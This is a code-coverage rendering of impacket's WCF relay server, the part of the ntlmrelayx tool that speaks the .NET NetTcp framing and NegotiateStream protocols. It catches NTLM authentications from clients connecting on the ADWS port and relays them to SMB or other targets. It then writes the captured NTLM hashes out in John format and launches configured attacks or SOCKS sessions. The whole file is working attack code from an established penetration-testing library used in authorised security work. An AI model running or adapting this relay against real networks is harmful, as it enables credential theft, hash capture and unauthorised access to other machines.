Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py: 8%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py : 8%

## 220 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# -*- coding: utf-8 -*-

2# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

3#

4# This software is provided under under a slightly modified version

5# of the Apache Software License. See the accompanying LICENSE file

6# for more information.

7#

8# WCF Relay Server

9#

10# Author:

11# Clément Notin (@cnotin)

12# With code copied from smbrelayserver.py and httprelayserver.py authored by:

13# Alberto Solino (@agsolino)

14# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

15#

16# Description:

17# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols

18# Only NetTcpBinding is supported!

19

20# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and

21# ".NET NegotiateStream Protocol" [MS-NNS]

22# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py

23# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re

24

25 import socket

26 import socketserver

27 import struct

28 from binascii import hexlify

29 from threading import Thread

30

31 from six import PY2

32

33 from impacket import ntlm, LOG

34 from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections

35 from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

36 from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS

37 from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile

38 from impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \

39 ASN1_SUPPORTED_MECH

40

41

42 class WCFRelayServer(Thread):

43 class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer):

44 def __init__(self, server_address, request_handler_class, config):

45 self.config = config

46 self.daemon_threads = True

47 if self.config.ipv6:

48 self.address_family = socket.AF_INET6

49 self.wpad_counters = {}

50 socketserver.TCPServer.__init__(self, server_address, request_handler_class)

51

52 class WCFHandler(socketserver.BaseRequestHandler):

53 def __init__(self, request, client_address, server):

54 self.server = server

55 self.challengeMessage = None

56 self.target = None

57 self.client = None

58 self.machineAccount = None

59 self.machineHashes = None

60 self.domainIp = None

61 self.authUser = None

62

63 if self.server.config.target is None:

64 # Reflection mode, defaults to SMB at the target, for now

65 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])

66 self.target = self.server.config.target.getTarget()

67 if self.target is None:

68 LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0])

69 return

70 LOG.info("WCF: Received connection from %s, attacking target %s://%s" % (

71 client_address[0], self.target.scheme, self.target.netloc))

72

73 socketserver.BaseRequestHandler.__init__(self, request, client_address, server)

74

75 # recv from socket for exact 'length' (even if fragmented over several packets)

76 def recvall(self, length):

77 buf = b''

78 while not len(buf) == length:

79 buf += self.request.recv(length - len(buf))

80

81 if PY2:

82 buf = bytearray(buf)

83 return buf

84

85 def handle(self):

86 version_code = self.recvall(1)

87 if version_code != b'\x00':

88 LOG.error("WCF: wrong VersionRecord code")

89 return

90 version = self.recvall(2) # should be \x01\x00 but we don't care

91 if version != b'\x01\x00':

92 LOG.error("WCF: wrong VersionRecord version")

93 return

94

95 mode_code = self.recvall(1)

96 if mode_code != b'\x01':

97 LOG.error("WCF: wrong ModeRecord code")

98 return

99 mode = self.recvall(1) # we don't care

100

101 via_code = self.recvall(1)

102 if via_code != b'\x02':

103 LOG.error("WCF: wrong ViaRecord code")

104 return

105 via_len = self.recvall(1)

106 via_len = struct.unpack("B", via_len)[0]

107 via = self.recvall(via_len).decode("utf-8")

108

109 if not via.startswith("net.tcp://"):

110 LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "

111 "Only NetTcpBinding is currently supported!")

112 return

113

114 known_encoding_code = self.recvall(1)

115 if known_encoding_code != b'\x03':

116 LOG.error("WCF: wrong KnownEncodingRecord code")

117 return

118 encoding = self.recvall(1) # we don't care

119

120 upgrade_code = self.recvall(1)

121 if upgrade_code != b'\x09':

122 LOG.error("WCF: wrong UpgradeRequestRecord code")

123 return

124 upgrade_len = self.recvall(1)

125 upgrade_len = struct.unpack("B", upgrade_len)[0]

126 upgrade = self.recvall(upgrade_len).decode("utf-8")

127

128 if upgrade != "application/negotiate":

129 LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")

130 return

131 self.request.sendall(b'\x0a')

132

133 while True:

134 handshake_in_progress = self.recvall(5)

135 if not handshake_in_progress[0] == 0x16:

136 LOG.error("WCF: Wrong handshake_in_progress message")

137 return

138

139 securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]

140 securityBlob = self.recvall(securityBlob_len)

141

142 rawNTLM = False

143 if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:

144 # SPNEGO NEGOTIATE packet

145 blob = SPNEGO_NegTokenInit(securityBlob)

146 token = blob['MechToken']

147 if len(blob['MechTypes'][0]) > 0:

148 # Is this GSSAPI NTLM or something else we don't support?

149 mechType = blob['MechTypes'][0]

150 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \

151 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:

152 # Nope, do we know it?

153 if mechType in MechTypes:

154 mechStr = MechTypes[mechType]

155 else:

156 mechStr = hexlify(mechType)

157 LOG.error("Unsupported MechType '%s'" % mechStr)

158 # We don't know the token, we answer back again saying

159 # we just support NTLM.

160 respToken = SPNEGO_NegTokenResp()

161 respToken['NegState'] = b'\x03' # request-mic

162 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

163 respToken = respToken.getData()

164

165 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b

166 answer = b'\x16' # handshake_in_progress

167 answer += b'\x01\x00' # version

168 answer += struct.pack(">H", len(respToken)) # len

169 answer += respToken

170

171 self.request.sendall(answer)

172

173 elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:

174 # SPNEGO AUTH packet

175 blob = SPNEGO_NegTokenResp(securityBlob)

176 token = blob['ResponseToken']

177 break

178 else:

179 # No GSSAPI stuff, raw NTLMSSP

180 rawNTLM = True

181 token = securityBlob

182 break

183

184 if not token.startswith(b"NTLMSSP\0\1"): # NTLMSSP_NEGOTIATE: message type 1

185 LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")

186 return

187

188 if not self.do_ntlm_negotiate(token):

189 # Connection failed

190 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',

191 self.target.scheme, self.target.netloc)

192 self.server.config.target.logTarget(self.target)

193 return

194

195 # Calculate auth

196 ntlmssp_challenge = self.challengeMessage.getData()

197

198 if not rawNTLM:

199 # add SPNEGO wrapping

200 respToken = SPNEGO_NegTokenResp()

201 # accept-incomplete. We want more data

202 respToken['NegState'] = b'\x01'

203 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

204

205 respToken['ResponseToken'] = ntlmssp_challenge

206 ntlmssp_challenge = respToken.getData()

207

208 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b

209 handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))

210 self.request.sendall(handshake_in_progress)

211 self.request.sendall(ntlmssp_challenge)

212

213 handshake_done = self.recvall(5)

214

215 if handshake_done[0] == 0x15:

216 error_len = struct.unpack(">H", handshake_done[3:5])[0]

217 error_msg = self.recvall(error_len)

218 hresult = hex(struct.unpack('>I', error_msg[4:8])[0])

219 LOG.error("WCF: Received handshake_error message: " + hresult)

220 return

221

222 ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]

223 ntlmssp_auth = self.recvall(ntlmssp_auth_len)

224

225 if not rawNTLM:

226 # remove SPNEGO wrapping

227 blob = SPNEGO_NegTokenResp(ntlmssp_auth)

228 ntlmssp_auth = blob['ResponseToken']

229

230 if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"): # NTLMSSP_AUTH: message type 3

231 LOG.error("WCF: Wrong NTLMSSP_AUTH message")

232 return

233

234 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

235 authenticateMessage.fromString(ntlmssp_auth)

236

237 if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):

238 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

239 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

240 self.target.scheme, self.target.netloc,

241 authenticateMessage['domain_name'].decode('utf-16le'),

242 authenticateMessage['user_name'].decode('utf-16le')))

243 else:

244 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

245 self.target.scheme, self.target.netloc,

246 authenticateMessage['domain_name'].decode('ascii'),

247 authenticateMessage['user_name'].decode('ascii')))

248 return

249

250 # Relay worked, do whatever we want here...

251 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

252 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

253 self.target.scheme, self.target.netloc,

254 authenticateMessage['domain_name'].decode('utf-16le'),

255 authenticateMessage['user_name'].decode('utf-16le')))

256 else:

257 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

258 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),

259 authenticateMessage['user_name'].decode('ascii')))

260

261 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],

262 authenticateMessage['user_name'],

263 authenticateMessage['domain_name'],

264 authenticateMessage['lanman'], authenticateMessage['ntlm'])

265 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

266

267 if self.server.config.outputFile is not None:

268 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

269 self.server.config.outputFile)

270

271 self.server.config.target.logTarget(self.target, True, self.authUser)

272

273 self.do_attack()

274

275 def do_ntlm_negotiate(self, token):

276 if self.target.scheme.upper() in self.server.config.protocolClients:

277 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,

278 self.target)

279 # If connection failed, return

280 if not self.client.initConnection():

281 return False

282 self.challengeMessage = self.client.sendNegotiate(token)

283

284 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE

285 if self.server.config.remove_target:

286 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])

287 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]

288 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()

289 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())

290 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())

291

292 # Check for errors

293 if self.challengeMessage is False:

294 return False

295 else:

296 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())

297 return False

298

299 return True

300

301 def do_ntlm_auth(self, token, authenticateMessage):

302 # For some attacks it is important to know the authenticated username, so we store it

303 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

304 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

305 authenticateMessage['user_name'].decode('utf-16le'))).upper()

306 else:

307 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),

308 authenticateMessage['user_name'].decode('ascii'))).upper()

309

310 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':

311 clientResponse, errorCode = self.client.sendAuth(token)

312 else:

313 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except

314 # when coming from localhost

315 errorCode = STATUS_ACCESS_DENIED

316

317 if errorCode == STATUS_SUCCESS:

318 return True

319

320 return False

321

322 def do_attack(self):

323 # Check if SOCKS is enabled and if we support the target scheme

324 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:

325 # Pass all the data to the socksplugins proxy

326 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),

327 self.authUser, self.client, self.client.sessionData))

328 return

329

330 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks

331 if self.target.scheme.upper() in self.server.config.attacks:

332 # We have an attack.. go for it

333 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,

334 self.client.session,

335 self.authUser)

336 clientThread.start()

337 else:

338 LOG.error('No attack configured for %s' % self.target.scheme.upper())

339

340 def __init__(self, config):

341 Thread.__init__(self)

342 self.daemon = True

343 self.config = config

344 self.server = None

345

346 def run(self):

347 LOG.info("Setting up WCF Server")

348

349 if self.config.listeningPort:

350 wcfport = self.config.listeningPort

351 else:

352 wcfport = 9389 # ADWS

353

354 # changed to read from the interfaceIP set in the configuration

355 self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)

356

357 try:

358 self.server.serve_forever()

359 except KeyboardInterrupt:

360 pass

361 LOG.info('Shutting down WCF Server')

362 self.server.server_close()